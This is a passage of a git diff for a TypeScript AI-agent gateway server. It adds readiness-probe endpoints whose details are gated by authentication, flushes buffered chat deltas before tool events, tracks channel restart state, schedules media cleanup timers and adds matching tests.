- return undefined; - } - const normalized = values.map((value) => value.trim()).filter((value) => value.length > 0); - return normalized.length > 0 ? normalized : undefined; -} - function resolveResponsesLimits( config: GatewayHttpResponsesConfig | undefined, ): ResolvedResponsesLimits { @@ -91,11 +84,11 @@ function resolveResponsesLimits( : DEFAULT_MAX_URL_PARTS, files: { ...fileLimits, - urlAllowlist: normalizeHostnameAllowlist(files?.urlAllowlist), + urlAllowlist: normalizeInputHostnameAllowlist(files?.urlAllowlist), }, images: { allowUrl: images?.allowUrl ?? true, - urlAllowlist: normalizeHostnameAllowlist(images?.urlAllowlist), + urlAllowlist: normalizeInputHostnameAllowlist(images?.urlAllowlist), allowedMimes: normalizeMimeList(images?.allowedMimes, DEFAULT_INPUT_IMAGE_MIMES), maxBytes: images?.maxBytes ?? DEFAULT_INPUT_IMAGE_MAX_BYTES, maxRedirects: images?.maxRedirects ?? DEFAULT_INPUT_MAX_REDIRECTS, diff --git a/src/gateway/openresponses-parity.test.ts b/src/gateway/openresponses-parity.test.ts index 3e4b2dc535b..c69a4206754 100644 --- a/src/gateway/openresponses-parity.test.ts +++ b/src/gateway/openresponses-parity.test.ts @@ -54,6 +54,20 @@ describe("OpenResponses Feature Parity", () => { expect(result.success).toBe(true); }); + it("should validate input_image with HEIC base64 source", async () => { + const validImage = { + type: "input_image" as const, + source: { + type: "base64" as const, + media_type: "image/heic" as const, + data: "aGVpYy1pbWFnZQ==", + }, + }; + + const result = InputImageContentPartSchema.safeParse(validImage); + expect(result.success).toBe(true); + }); + it("should reject input_image with invalid mime type", async () => { const invalidImage = { type: "input_image" as const, diff --git a/src/gateway/protocol/connect-error-details.ts b/src/gateway/protocol/connect-error-details.ts index 62286092671..442e8f2c54d 100644 --- a/src/gateway/protocol/connect-error-details.ts +++ b/src/gateway/protocol/connect-error-details.ts @@ -4,9 +4,9 @@ export const ConnectErrorDetailCodes = { AUTH_TOKEN_MISSING: "AUTH_TOKEN_MISSING", AUTH_TOKEN_MISMATCH: "AUTH_TOKEN_MISMATCH", AUTH_TOKEN_NOT_CONFIGURED: "AUTH_TOKEN_NOT_CONFIGURED", - AUTH_PASSWORD_MISSING: "AUTH_PASSWORD_MISSING", - AUTH_PASSWORD_MISMATCH: "AUTH_PASSWORD_MISMATCH", - AUTH_PASSWORD_NOT_CONFIGURED: "AUTH_PASSWORD_NOT_CONFIGURED", + AUTH_PASSWORD_MISSING: "AUTH_PASSWORD_MISSING", // pragma: allowlist secret + AUTH_PASSWORD_MISMATCH: "AUTH_PASSWORD_MISMATCH", // pragma: allowlist secret + AUTH_PASSWORD_NOT_CONFIGURED: "AUTH_PASSWORD_NOT_CONFIGURED", // pragma: allowlist secret AUTH_DEVICE_TOKEN_MISMATCH: "AUTH_DEVICE_TOKEN_MISMATCH", AUTH_RATE_LIMITED: "AUTH_RATE_LIMITED", AUTH_TAILSCALE_IDENTITY_MISSING: "AUTH_TAILSCALE_IDENTITY_MISSING", diff --git a/src/gateway/protocol/schema/config.ts b/src/gateway/protocol/schema/config.ts index 78159549255..9d0ec876668 100644 --- a/src/gateway/protocol/schema/config.ts +++ b/src/gateway/protocol/schema/config.ts @@ -4,7 +4,7 @@ import { NonEmptyString } from "./primitives.js"; const ConfigSchemaLookupPathString = Type.String({ minLength: 1, maxLength: 1024, - pattern: "^[A-Za-z0-9_.\\[\\]\\-*]+$", + pattern: "^[A-Za-z0-9_./\\[\\]\\-*]+$", }); export const ConfigGetParamsSchema = Type.Object({}, { additionalProperties: false }); diff --git a/src/gateway/protocol/schema/logs-chat.ts b/src/gateway/protocol/schema/logs-chat.ts index b8d0fe1ba45..ffa01945c01 100644 --- a/src/gateway/protocol/schema/logs-chat.ts +++ b/src/gateway/protocol/schema/logs-chat.ts @@ -1,5 +1,5 @@ import { Type } from "@sinclair/typebox"; -import { NonEmptyString } from "./primitives.js"; +import { ChatSendSessionKeyString, NonEmptyString } from "./primitives.js"; export const LogsTailParamsSchema = Type.Object( { @@ -33,7 +33,7 @@ export const ChatHistoryParamsSchema = Type.Object( export const ChatSendParamsSchema = Type.Object( { - sessionKey: NonEmptyString, + sessionKey: ChatSendSessionKeyString, message: Type.String(), thinking: Type.Optional(Type.String()), deliver: Type.Optional(Type.Boolean()), diff --git a/src/gateway/protocol/schema/primitives.ts b/src/gateway/protocol/schema/primitives.ts index d43a16a1ed1..849778149e1 100644 --- a/src/gateway/protocol/schema/primitives.ts +++ b/src/gateway/protocol/schema/primitives.ts @@ -3,6 +3,11 @@ import { SESSION_LABEL_MAX_LENGTH } from "../../../sessions/session-label.js"; import { GATEWAY_CLIENT_IDS, GATEWAY_CLIENT_MODES } from "../client-info.js"; export const NonEmptyString = Type.String({ minLength: 1 }); +export const CHAT_SEND_SESSION_KEY_MAX_LENGTH = 512; +export const ChatSendSessionKeyString = Type.String({ + minLength: 1, + maxLength: CHAT_SEND_SESSION_KEY_MAX_LENGTH, +}); export const SessionLabelString = Type.String({ minLength: 1, maxLength: SESSION_LABEL_MAX_LENGTH, diff --git a/src/gateway/resolve-configured-secret-input-string.ts b/src/gateway/resolve-configured-secret-input-string.ts index c83354aa9dd..e698b09910c 100644 --- a/src/gateway/resolve-configured-secret-input-string.ts +++ b/src/gateway/resolve-configured-secret-input-string.ts @@ -3,7 +3,7 @@ import { resolveSecretInputRef } from "../config/types.secrets.js"; import { secretRefKey } from "../secrets/ref-contract.js"; import { resolveSecretRefValues } from "../secrets/resolve.js"; -export type SecretInputUnresolvedReasonStyle = "generic" | "detailed"; +export type SecretInputUnresolvedReasonStyle = "generic" | "detailed"; // pragma: allowlist secret function trimToUndefined(value: unknown): string | undefined { if (typeof value !== "string") { diff --git a/src/gateway/server-channels.ts b/src/gateway/server-channels.ts index 6c291541369..4090791d285 100644 --- a/src/gateway/server-channels.ts +++ b/src/gateway/server-channels.ts @@ -180,6 +180,7 @@ export function createChannelManager(opts: ChannelManagerOptions): ChannelManage enabled: false, configured: true, running: false, + restartPending: false, lastError: plugin.config.disabledReason?.(account, cfg) ?? "disabled", }); return; @@ -195,6 +196,7 @@ export function createChannelManager(opts: ChannelManagerOptions): ChannelManage enabled: true, configured: false, running: false, + restartPending: false, lastError: plugin.config.unconfiguredReason?.(account, cfg) ?? "not configured", }); return; @@ -215,6 +217,7 @@ export function createChannelManager(opts: ChannelManagerOptions): ChannelManage enabled: true, configured: true, running: true, + restartPending: false, lastStartAt: Date.now(), lastError: null, reconnectAttempts: preserveRestartAttempts ? (restartAttempts.get(rKey) ?? 0) : 0, @@ -252,6 +255,11 @@ export function createChannelManager(opts: ChannelManagerOptions): ChannelManage const attempt = (restartAttempts.get(rKey) ?? 0) + 1; restartAttempts.set(rKey, attempt); if (attempt > MAX_RESTART_ATTEMPTS) { + setRuntime(channelId, id, { + accountId: id, + restartPending: false, + reconnectAttempts: attempt, + }); log.error?.(`[${id}] giving up after ${MAX_RESTART_ATTEMPTS} restart attempts`); return; } @@ -261,6 +269,7 @@ export function createChannelManager(opts: ChannelManagerOptions): ChannelManage ); setRuntime(channelId, id, { accountId: id, + restartPending: true, reconnectAttempts: attempt, }); try { @@ -349,6 +358,7 @@ export function createChannelManager(opts: ChannelManagerOptions): ChannelManage setRuntime(channelId, id, { accountId: id, running: false, + restartPending: false, lastStopAt: Date.now(), }); }), @@ -377,6 +387,7 @@ export function createChannelManager(opts: ChannelManagerOptions): ChannelManage const next: ChannelAccountSnapshot = { accountId: resolvedId, running: false, + restartPending: false, lastError: cleared ? "logged out" : current.lastError, }; if (typeof current.connected === "boolean") { diff --git a/src/gateway/server-chat.agent-events.test.ts b/src/gateway/server-chat.agent-events.test.ts index b89e2462c51..6d705fc4a8c 100644 --- a/src/gateway/server-chat.agent-events.test.ts +++ b/src/gateway/server-chat.agent-events.test.ts @@ -470,6 +470,74 @@ describe("agent event handler", () => { nowSpy?.mockRestore(); }); + it("flushes buffered chat delta before tool start events", () => { + let now = 12_000; + const nowSpy = vi.spyOn(Date, "now").mockImplementation(() => now); + const { + broadcast, + broadcastToConnIds, + nodeSendToSession, + chatRunState, + toolEventRecipients, + handler, + } = createHarness({ + resolveSessionKeyForRun: () => "session-tool-flush", + }); + + chatRunState.registry.add("run-tool-flush", { + sessionKey: "session-tool-flush", + clientRunId: "client-tool-flush", + }); + registerAgentRunContext("run-tool-flush", { + sessionKey: "session-tool-flush", + verboseLevel: "off", + }); + toolEventRecipients.add("run-tool-flush", "conn-1"); + + handler({ + runId: "run-tool-flush", + seq: 1, + stream: "assistant", + ts: Date.now(), + data: { text: "Before tool" }, + }); + + // Throttled assistant update (within 150ms window). + now = 12_050; + handler({ + runId: "run-tool-flush", + seq: 2, + stream: "assistant", + ts: Date.now(), + data: { text: "Before tool expanded" }, + }); + + handler({ + runId: "run-tool-flush", + seq: 3, + stream: "tool", + ts: Date.now(), + data: { phase: "start", name: "read", toolCallId: "tool-flush-1" }, + }); + + const chatCalls = chatBroadcastCalls(broadcast); + expect(chatCalls).toHaveLength(2); + const flushedPayload = chatCalls[1]?.[1] as { + state?: string; + message?: { content?: Array<{ text?: string }> }; + }; + expect(flushedPayload.state).toBe("delta"); + expect(flushedPayload.message?.content?.[0]?.text).toBe("Before tool expanded"); + expect(sessionChatCalls(nodeSendToSession)).toHaveLength(2); + + expect(broadcastToConnIds).toHaveBeenCalledTimes(1); + const flushCallOrder = broadcast.mock.invocationCallOrder[1] ?? 0; + const toolCallOrder = broadcastToConnIds.mock.invocationCallOrder[0] ?? Number.MAX_SAFE_INTEGER; + expect(flushCallOrder).toBeLessThan(toolCallOrder); + nowSpy.mockRestore(); + resetAgentRunContextForTest(); + }); + it("routes tool events only to registered recipients when verbose is enabled", () => { const { broadcast, broadcastToConnIds, toolEventRecipients, handler } = createHarness({ resolveSessionKeyForRun: () => "session-1", diff --git a/src/gateway/server-chat.ts b/src/gateway/server-chat.ts index 5ce6e8471f5..b1a065684f8 100644 --- a/src/gateway/server-chat.ts +++ b/src/gateway/server-chat.ts @@ -390,6 +390,60 @@ export function createAgentEventHandler({ nodeSendToSession(sessionKey, "chat", payload); }; + const flushBufferedChatDeltaIfNeeded = ( + sessionKey: string, + clientRunId: string, + sourceRunId: string, + seq: number, + ) => { + const bufferedText = stripInlineDirectiveTagsForDisplay( + chatRunState.buffers.get(clientRunId) ?? "", + ).text.trim(); + const normalizedHeartbeatText = normalizeHeartbeatChatFinalText({ + runId: clientRunId, + sourceRunId, + text: bufferedText, + }); + const text = normalizedHeartbeatText.text.trim(); + const shouldSuppressSilent = + normalizedHeartbeatText.suppress || isSilentReplyText(text, SILENT_REPLY_TOKEN); + const shouldSuppressSilentLeadFragment = isSilentReplyLeadFragment(text); + const shouldSuppressHeartbeatStreaming = shouldHideHeartbeatChatOutput( + clientRunId, + sourceRunId, + ); + if ( + !text || + shouldSuppressSilent || + shouldSuppressSilentLeadFragment || + shouldSuppressHeartbeatStreaming + ) { + return; + } + + const lastBroadcastLen = chatRunState.deltaLastBroadcastLen.get(clientRunId) ?? 0; + if (text.length <= lastBroadcastLen) { + return; + } + + const now = Date.now(); + const flushPayload = { + runId: clientRunId, + sessionKey, + seq, + state: "delta" as const, + message: { + role: "assistant", + content: [{ type: "text", text }], + timestamp: now, + }, + }; + broadcast("chat", flushPayload, { dropIfSlow: true }); + nodeSendToSession(sessionKey, "chat", flushPayload); + chatRunState.deltaLastBroadcastLen.set(clientRunId, text.length); + chatRunState.deltaSentAt.set(clientRunId, now); + }; + const emitChatFinal = ( sessionKey: string, clientRunId: string, @@ -410,38 +464,11 @@ export function createAgentEventHandler({ const text = normalizedHeartbeatText.text.trim(); const shouldSuppressSilent = normalizedHeartbeatText.suppress || isSilentReplyText(text, SILENT_REPLY_TOKEN); - const shouldSuppressSilentLeadFragment = isSilentReplyLeadFragment(text); - const shouldSuppressHeartbeatStreaming = shouldHideHeartbeatChatOutput( - clientRunId, - sourceRunId, - ); // Flush any throttled delta so streaming clients receive the complete text - // before the final event. The 150 ms throttle in emitChatDelta may have + // before the final event. The 150 ms throttle in emitChatDelta may have // suppressed the most recent chunk, leaving the client with stale text. // Only flush if the buffer has grown since the last broadcast to avoid duplicates. - if ( - text && - !shouldSuppressSilent && - !shouldSuppressSilentLeadFragment && - !shouldSuppressHeartbeatStreaming - ) { - const lastBroadcastLen = chatRunState.deltaLastBroadcastLen.get(clientRunId) ?? 0; - if (text.length > lastBroadcastLen) { - const flushPayload = { - runId: clientRunId, - sessionKey, - seq, - state: "delta" as const, - message: { - role: "assistant", - content: [{ type: "text", text }], - timestamp: Date.now(), - }, - }; - broadcast("chat", flushPayload, { dropIfSlow: true }); - nodeSendToSession(sessionKey, "chat", flushPayload); - } - } + flushBufferedChatDeltaIfNeeded(sessionKey, clientRunId, sourceRunId, seq); chatRunState.deltaLastBroadcastLen.delete(clientRunId); chatRunState.buffers.delete(clientRunId); chatRunState.deltaSentAt.delete(clientRunId); @@ -542,6 +569,12 @@ export function createAgentEventHandler({ } agentRunSeq.set(evt.runId, evt.seq); if (isToolEvent) { + const toolPhase = typeof evt.data?.phase === "string" ? evt.data.phase : ""; + // Flush pending assistant text before tool-start events so clients can + // render complete pre-tool text above tool cards (not truncated by delta throttle). + if (toolPhase === "start" && isControlUiVisible && sessionKey && !isAborted) { + flushBufferedChatDeltaIfNeeded(sessionKey, clientRunId, evt.runId, evt.seq); + } // Always broadcast tool events to registered WS recipients with // tool-events capability, regardless of verboseLevel. The verbose // setting only controls whether tool details are sent as channel diff --git a/src/gateway/server-close.ts b/src/gateway/server-close.ts index 635f830b5e2..1d941c0e206 100644 --- a/src/gateway/server-close.ts +++ b/src/gateway/server-close.ts @@ -21,6 +21,7 @@ export function createGatewayCloseHandler(params: { tickInterval: ReturnType; healthInterval: ReturnType; dedupeCleanup: ReturnType; + mediaCleanup: ReturnType | null; agentUnsub: (() => void) | null; heartbeatUnsub: (() => void) | null; chatRunState: { clear: () => void }; @@ -87,6 +88,9 @@ export function createGatewayCloseHandler(params: { clearInterval(params.tickInterval); clearInterval(params.healthInterval); clearInterval(params.dedupeCleanup); + if (params.mediaCleanup) { + clearInterval(params.mediaCleanup); + } if (params.agentUnsub) { try { params.agentUnsub(); diff --git a/src/gateway/server-http.probe.test.ts b/src/gateway/server-http.probe.test.ts new file mode 100644 index 00000000000..0e55ddeba32 --- /dev/null +++ b/src/gateway/server-http.probe.test.ts @@ -0,0 +1,155 @@ +import { describe, expect, it } from "vitest"; +import { + AUTH_TOKEN, + AUTH_NONE, + createRequest, + createResponse, + dispatchRequest, + withGatewayServer, +} from "./server-http.test-harness.js"; +import type { ReadinessChecker } from "./server/readiness.js"; + +describe("gateway probe endpoints", () => { + it("returns detailed readiness payload for local /ready requests", async () => { + const getReadiness: ReadinessChecker = () => ({ + ready: true, + failing: [], + uptimeMs: 45_000, + }); + + await withGatewayServer({ + prefix: "probe-ready", + resolvedAuth: AUTH_NONE, + overrides: { getReadiness }, + run: async (server) => { + const req = createRequest({ path: "/ready" }); + const { res, getBody } = createResponse(); + await dispatchRequest(server, req, res); + + expect(res.statusCode).toBe(200); + expect(JSON.parse(getBody())).toEqual({ ready: true, failing: [], uptimeMs: 45_000 }); + }, + }); + }); + + it("returns only readiness state for unauthenticated remote /ready requests", async () => { + const getReadiness: ReadinessChecker = () => ({ + ready: false, + failing: ["discord", "telegram"], + uptimeMs: 8_000, + }); + + await withGatewayServer({ + prefix: "probe-not-ready", + resolvedAuth: AUTH_NONE, + overrides: { getReadiness }, + run: async (server) => { + const req = createRequest({ + path: "/ready", + remoteAddress: "10.0.0.8", + host: "gateway.test", + }); + const { res, getBody } = createResponse(); + await dispatchRequest(server, req, res); + + expect(res.statusCode).toBe(503); + expect(JSON.parse(getBody())).toEqual({ ready: false }); + }, + }); + }); + + it("returns detailed readiness payload for authenticated remote /ready requests", async () => { + const getReadiness: ReadinessChecker = () => ({ + ready: false, + failing: ["discord", "telegram"], + uptimeMs: 8_000, + }); + + await withGatewayServer({ + prefix: "probe-remote-authenticated", + resolvedAuth: AUTH_TOKEN, + overrides: { getReadiness }, + run: async (server) => { + const req = createRequest({ + path: "/ready", + remoteAddress: "10.0.0.8", + host: "gateway.test", + authorization: "Bearer test-token", + }); + const { res, getBody } = createResponse(); + await dispatchRequest(server, req, res); + + expect(res.statusCode).toBe(503); + expect(JSON.parse(getBody())).toEqual({ + ready: false, + failing: ["discord", "telegram"], + uptimeMs: 8_000, + }); + }, + }); + }); + + it("returns typed internal error payload when readiness evaluation throws", async () => { + const getReadiness: ReadinessChecker = () => { + throw new Error("boom"); + }; + + await withGatewayServer({ + prefix: "probe-throws", + resolvedAuth: AUTH_NONE, + overrides: { getReadiness }, + run: async (server) => { + const req = createRequest({ path: "/ready" }); + const { res, getBody } = createResponse(); + await dispatchRequest(server, req, res); + + expect(res.statusCode).toBe(503); + expect(JSON.parse(getBody())).toEqual({ ready: false, failing: ["internal"], uptimeMs: 0 }); + }, + }); + }); + + it("keeps /healthz shallow even when readiness checker reports failing channels", async () => { + const getReadiness: ReadinessChecker = () => ({ + ready: false, + failing: ["discord"], + uptimeMs: 999, + }); + + await withGatewayServer({ + prefix: "probe-healthz-unaffected", + resolvedAuth: AUTH_NONE, + overrides: { getReadiness }, + run: async (server) => { + const req = createRequest({ path: "/healthz" }); + const { res, getBody } = createResponse(); + await dispatchRequest(server, req, res); + + expect(res.statusCode).toBe(200); + expect(getBody()).toBe(JSON.stringify({ ok: true, status: "live" })); + }, + }); + }); + + it("reflects readiness status on HEAD /readyz without a response body", async () => { + const getReadiness: ReadinessChecker = () => ({ + ready: false, + failing: ["discord"], + uptimeMs: 5_000, + }); + + await withGatewayServer({ + prefix: "probe-readyz-head", + resolvedAuth: AUTH_NONE, + overrides: { getReadiness }, + run: async (server) => { + const req = createRequest({ path: "/readyz", method: "HEAD" }); + const { res, getBody } = createResponse(); + await dispatchRequest(server, req, res); + + expect(res.statusCode).toBe(503); + expect(getBody()).toBe(""); + }, + }); + }); +}); diff --git a/src/gateway/server-http.test-harness.ts b/src/gateway/server-http.test-harness.ts index bf963487038..24612d60b1f 100644 --- a/src/gateway/server-http.test-harness.ts +++ b/src/gateway/server-http.test-harness.ts @@ -28,11 +28,15 @@ export function createRequest(params: { path: string; authorization?: string; method?: string; + remoteAddress?: string; + host?: string; }): IncomingMessage { return createGatewayRequest({ path: params.path, authorization: params.authorization, method: params.method, + remoteAddress: params.remoteAddress, + host: params.host, }); } @@ -127,6 +131,8 @@ export async function sendRequest( path: string; authorization?: string; method?: string; + remoteAddress?: string; + host?: string; }, ): Promise> { const response = createResponse(); diff --git a/src/gateway/server-http.ts b/src/gateway/server-http.ts index 41911f35b49..89db12bc24e 100644 --- a/src/gateway/server-http.ts +++ b/src/gateway/server-http.ts @@ -20,7 +20,12 @@ import { normalizeRateLimitClientIp, type AuthRateLimiter, } from "./auth-rate-limit.js"; -import { type GatewayAuthResult, type ResolvedGatewayAuth } from "./auth.js"; +import { + authorizeHttpGatewayConnect, + isLocalDirectRequest, + type GatewayAuthResult, + type ResolvedGatewayAuth, +} from "./auth.js"; import { normalizeCanvasScopedUrl } from "./canvas-capability.js"; import { handleControlUiAvatarRequest, @@ -46,6 +51,7 @@ import { resolveHookDeliver, } from "./hooks.js"; import { sendGatewayAuthFailure, setDefaultSecurityHeaders } from "./http-common.js"; +import { getBearerToken } from "./http-utils.js"; import { handleOpenAiHttpRequest } from "./openai-http.js"; import { handleOpenResponsesHttpRequest } from "./openresponses-http.js"; import { @@ -59,6 +65,7 @@ import { type PluginHttpRequestHandler, type PluginRoutePathContext, } from "./server/plugins-http.js"; +import type { ReadinessChecker } from "./server/readiness.js"; import type { GatewayWsClient } from "./server/ws-types.js"; import { handleToolsInvokeHttpRequest } from "./tools-invoke-http.js"; @@ -150,11 +157,39 @@ function shouldEnforceDefaultPluginGatewayAuth(pathContext: PluginRoutePathConte ); } -function handleGatewayProbeRequest( +async function canRevealReadinessDetails(params: { + req: IncomingMessage; + resolvedAuth: ResolvedGatewayAuth; + trustedProxies: string[]; + allowRealIpFallback: boolean; +}): Promise { + if (isLocalDirectRequest(params.req, params.trustedProxies, params.allowRealIpFallback)) { + return true; + } + if (params.resolvedAuth.mode === "none") { + return false; + } + + const bearerToken = getBearerToken(params.req); + const authResult = await authorizeHttpGatewayConnect({ + auth: params.resolvedAuth, + connectAuth: bearerToken ? { token: bearerToken, password: bearerToken } : null, + req: params.req, + trustedProxies: params.trustedProxies, + allowRealIpFallback: params.allowRealIpFallback, + }); + return authResult.ok; +} + +async function handleGatewayProbeRequest( req: IncomingMessage, res: ServerResponse, requestPath: string, -): boolean { + resolvedAuth: ResolvedGatewayAuth, + trustedProxies: string[], + allowRealIpFallback: boolean, + getReadiness?: ReadinessChecker, +): Promise { const status = GATEWAY_PROBE_STATUS_BY_PATH.get(requestPath); if (!status) { return false; @@ -169,14 +204,34 @@ function handleGatewayProbeRequest( return true; } - res.statusCode = 200; res.setHeader("Content-Type", "application/json; charset=utf-8"); res.setHeader("Cache-Control", "no-store"); - if (method === "HEAD") { - res.end(); - return true; + + let statusCode: number; + let body: string; + if (status === "ready" && getReadiness) { + const includeDetails = await canRevealReadinessDetails({ + req, + resolvedAuth, + trustedProxies, + allowRealIpFallback, + }); + try { + const result = getReadiness(); + statusCode = result.ready ? 200 : 503; + body = JSON.stringify(includeDetails ? result : { ready: result.ready }); + } catch { + statusCode = 503; + body = JSON.stringify( + includeDetails ? { ready: false, failing: ["internal"], uptimeMs: 0 } : { ready: false }, + ); + } + } else { + statusCode = 200; + body = JSON.stringify({ ok: true, status }); } - res.end(JSON.stringify({ ok: true, status })); + res.statusCode = statusCode; + res.end(method === "HEAD" ? undefined : body); return true; } @@ -243,6 +298,7 @@ function buildPluginRequestStages(params: { if (!params.handlePluginRequest) { return []; } + let pluginGatewayAuthSatisfied = false; return [ { name: "plugin-auth", @@ -270,6 +326,7 @@ function buildPluginRequestStages(params: { if (!pluginAuthOk) { return true; } + pluginGatewayAuthSatisfied = true; return false; }, }, @@ -278,7 +335,11 @@ function buildPluginRequestStages(params: { run: () => { const pathContext = params.pluginPathContext ?? resolvePluginRoutePathContext(params.requestPath); - return params.handlePluginRequest?.(params.req, params.res, pathContext) ?? false; + return ( + params.handlePluginRequest?.(params.req, params.res, pathContext, { + gatewayAuthSatisfied: pluginGatewayAuthSatisfied, + }) ?? false + ); }, }, ]; @@ -328,6 +389,14 @@ export function createHooksRequestHandler( return true; } + if (req.method !== "POST") { + res.statusCode = 405; + res.setHeader("Allow", "POST"); + res.setHeader("Content-Type", "text/plain; charset=utf-8"); + res.end("Method Not Allowed"); + return true; + } + const token = extractHookToken(req); const clientKey = resolveHookClientKey(req); if (!safeEqualSecret(token, hooksConfig.token)) { @@ -349,14 +418,6 @@ export function createHooksRequestHandler( } hookAuthLimiter.reset(clientKey, AUTH_RATE_LIMIT_SCOPE_HOOK_AUTH); - if (req.method !== "POST") { - res.statusCode = 405; - res.setHeader("Allow", "POST"); - res.setHeader("Content-Type", "text/plain; charset=utf-8"); - res.end("Method Not Allowed"); - return true; - } - const subPath = url.pathname.slice(basePath.length).replace(/^\/+/, ""); if (!subPath) { res.statusCode = 404; @@ -519,6 +580,7 @@ export function createGatewayHttpServer(opts: { resolvedAuth: ResolvedGatewayAuth; /** Optional rate limiter for auth brute-force protection. */ rateLimiter?: AuthRateLimiter; + getReadiness?: ReadinessChecker; tlsOptions?: TlsOptions; }): HttpServer { const { @@ -537,6 +599,7 @@ export function createGatewayHttpServer(opts: { shouldEnforcePluginGatewayAuth, resolvedAuth, rateLimiter, + getReadiness, } = opts; const httpServer: HttpServer = opts.tlsOptions ? createHttpsServer(opts.tlsOptions, (req, res) => { @@ -693,7 +756,16 @@ export function createGatewayHttpServer(opts: { requestStages.push({ name: "gateway-probes", - run: () => handleGatewayProbeRequest(req, res, requestPath), + run: () => + handleGatewayProbeRequest( + req, + res, + requestPath, + resolvedAuth, + trustedProxies, + allowRealIpFallback, + getReadiness, + ), }); if (await runGatewayHttpRequestStages(requestStages)) { diff --git a/src/gateway/server-maintenance.test.ts b/src/gateway/server-maintenance.test.ts new file mode 100644 index 00000000000..045f73d802a --- /dev/null +++ b/src/gateway/server-maintenance.test.ts @@ -0,0 +1,126 @@ +import { afterEach, describe, expect, it, vi } from "vitest"; +import type { HealthSummary } from "../commands/health.js"; + +const cleanOldMediaMock = vi.fn(async () => {}); + +vi.mock("../media/store.js", async (importOriginal) => { + const actual = await importOriginal(); + return { + ...actual, + cleanOldMedia: cleanOldMediaMock, + }; +}); + +const MEDIA_CLEANUP_TTL_MS = 24 * 60 * 60_000; + +function createMaintenanceTimerDeps() { + return { + broadcast: () => {}, + nodeSendToAllSubscribed: () => {}, + getPresenceVersion: () => 1, + getHealthVersion: () => 1, + refreshGatewayHealthSnapshot: async () => ({ ok: true }) as HealthSummary, + logHealth: { error: () => {} }, + dedupe: new Map(), + chatAbortControllers: new Map(), + chatRunState: { abortedRuns: new Map() }, + chatRunBuffers: new Map(), + chatDeltaSentAt: new Map(), + removeChatRun: () => undefined, + agentRunSeq: new Map(), + nodeSendToSession: () => {}, + }; +} + +function stopMaintenanceTimers(timers: { + tickInterval: NodeJS.Timeout; + healthInterval: NodeJS.Timeout; + dedupeCleanup: NodeJS.Timeout; + mediaCleanup: NodeJS.Timeout | null; +}) { + clearInterval(timers.tickInterval); + clearInterval(timers.healthInterval); + clearInterval(timers.dedupeCleanup); + if (timers.mediaCleanup) { + clearInterval(timers.mediaCleanup); + } +} + +describe("startGatewayMaintenanceTimers", () => { + afterEach(() => { + vi.useRealTimers(); + vi.clearAllMocks(); + }); + + it("does not schedule recursive media cleanup unless ttl is configured", async () => { + vi.useFakeTimers(); + const { startGatewayMaintenanceTimers } = await import("./server-maintenance.js"); + + const timers = startGatewayMaintenanceTimers({ + ...createMaintenanceTimerDeps(), + }); + + expect(cleanOldMediaMock).not.toHaveBeenCalled(); + expect(timers.mediaCleanup).toBeNull(); + + stopMaintenanceTimers(timers); + }); + + it("runs startup media cleanup and repeats it hourly", async () => { + vi.useFakeTimers(); + const { startGatewayMaintenanceTimers } = await import("./server-maintenance.js"); + + const timers = startGatewayMaintenanceTimers({ + ...createMaintenanceTimerDeps(), + mediaCleanupTtlMs: MEDIA_CLEANUP_TTL_MS, + }); + + expect(cleanOldMediaMock).toHaveBeenCalledWith(MEDIA_CLEANUP_TTL_MS, { + recursive: true, + pruneEmptyDirs: true, + }); + + cleanOldMediaMock.mockClear(); + await vi.advanceTimersByTimeAsync(60 * 60_000); + expect(cleanOldMediaMock).toHaveBeenCalledWith(MEDIA_CLEANUP_TTL_MS, { + recursive: true, + pruneEmptyDirs: true, + }); + + stopMaintenanceTimers(timers); + }); + + it("skips overlapping media cleanup runs", async () => { + vi.useFakeTimers(); + let resolveCleanup = () => {}; + let cleanupReady = false; + cleanOldMediaMock.mockImplementation( + () => + new Promise((resolve) => { + resolveCleanup = resolve; + cleanupReady = true; + }), + ); + const { startGatewayMaintenanceTimers } = await import("./server-maintenance.js"); + + const timers = startGatewayMaintenanceTimers({ + ...createMaintenanceTimerDeps(), + mediaCleanupTtlMs: MEDIA_CLEANUP_TTL_MS, + }); + + expect(cleanOldMediaMock).toHaveBeenCalledTimes(1); + + await vi.advanceTimersByTimeAsync(60 * 60_000); + expect(cleanOldMediaMock).toHaveBeenCalledTimes(1); + + if (cleanupReady) { + resolveCleanup(); + } + await Promise.resolve(); + + await vi.advanceTimersByTimeAsync(60 * 60_000); + expect(cleanOldMediaMock).toHaveBeenCalledTimes(2); + + stopMaintenanceTimers(timers); + }); +}); diff --git a/src/gateway/server-maintenance.ts b/src/gateway/server-maintenance.ts index a93c7995138..581e0d43ec3 100644 --- a/src/gateway/server-maintenance.ts +++ b/src/gateway/server-maintenance.ts @@ -1,4 +1,5 @@ import type { HealthSummary } from "../commands/health.js"; +import { cleanOldMedia } from "../media/store.js"; import { abortChatRunById, type ChatAbortControllerEntry } from "./chat-abort.js"; import type { ChatRunEntry } from "./server-chat.js"; import { @@ -37,10 +38,12 @@ export function startGatewayMaintenanceTimers(params: { ) => ChatRunEntry | undefined; agentRunSeq: Map; nodeSendToSession: (sessionKey: string, event: string, payload: unknown) => void; + mediaCleanupTtlMs?: number; }): { tickInterval: ReturnType; healthInterval: ReturnType; dedupeCleanup: ReturnType; + mediaCleanup: ReturnType | null; } { setBroadcastHealthUpdate((snap: HealthSummary) => { params.broadcast("health", snap, { @@ -129,5 +132,33 @@ export function startGatewayMaintenanceTimers(params: { } }, 60_000); - return { tickInterval, healthInterval, dedupeCleanup }; + if (typeof params.mediaCleanupTtlMs !== "number") { + return { tickInterval, healthInterval, dedupeCleanup, mediaCleanup: null }; + } + + let mediaCleanupInFlight: Promise | null = null; + const runMediaCleanup = () => { + if (mediaCleanupInFlight) { + return mediaCleanupInFlight; + } + mediaCleanupInFlight = cleanOldMedia(params.mediaCleanupTtlMs, { + recursive: true, + pruneEmptyDirs: true, + }) + .catch((err) => { + params.logHealth.error(`media cleanup failed: ${formatError(err)}`); + }) + .finally(() => { + mediaCleanupInFlight = null; + }); + return mediaCleanupInFlight; + }; + + const mediaCleanup = setInterval(() => { + void runMediaCleanup(); + }, 60 * 60_000); + + void runMediaCleanup(); + + return { tickInterval, healthInterval, dedupeCleanup, mediaCleanup }; } diff --git a/src/gateway/server-methods.ts b/src/gateway/server-methods.ts index 53bd8625aa3..62cd6bbcd9e 100644 --- a/src/gateway/server-methods.ts +++ b/src/gateway/server-methods.ts @@ -1,3 +1,4 @@ +import { withPluginRuntimeGatewayRequestScope } from "../plugins/runtime/gateway-request-scope.js"; import { formatControlPlaneActor, resolveControlPlaneActor } from "./control-plane-audit.js"; import { consumeControlPlaneWriteBudget } from 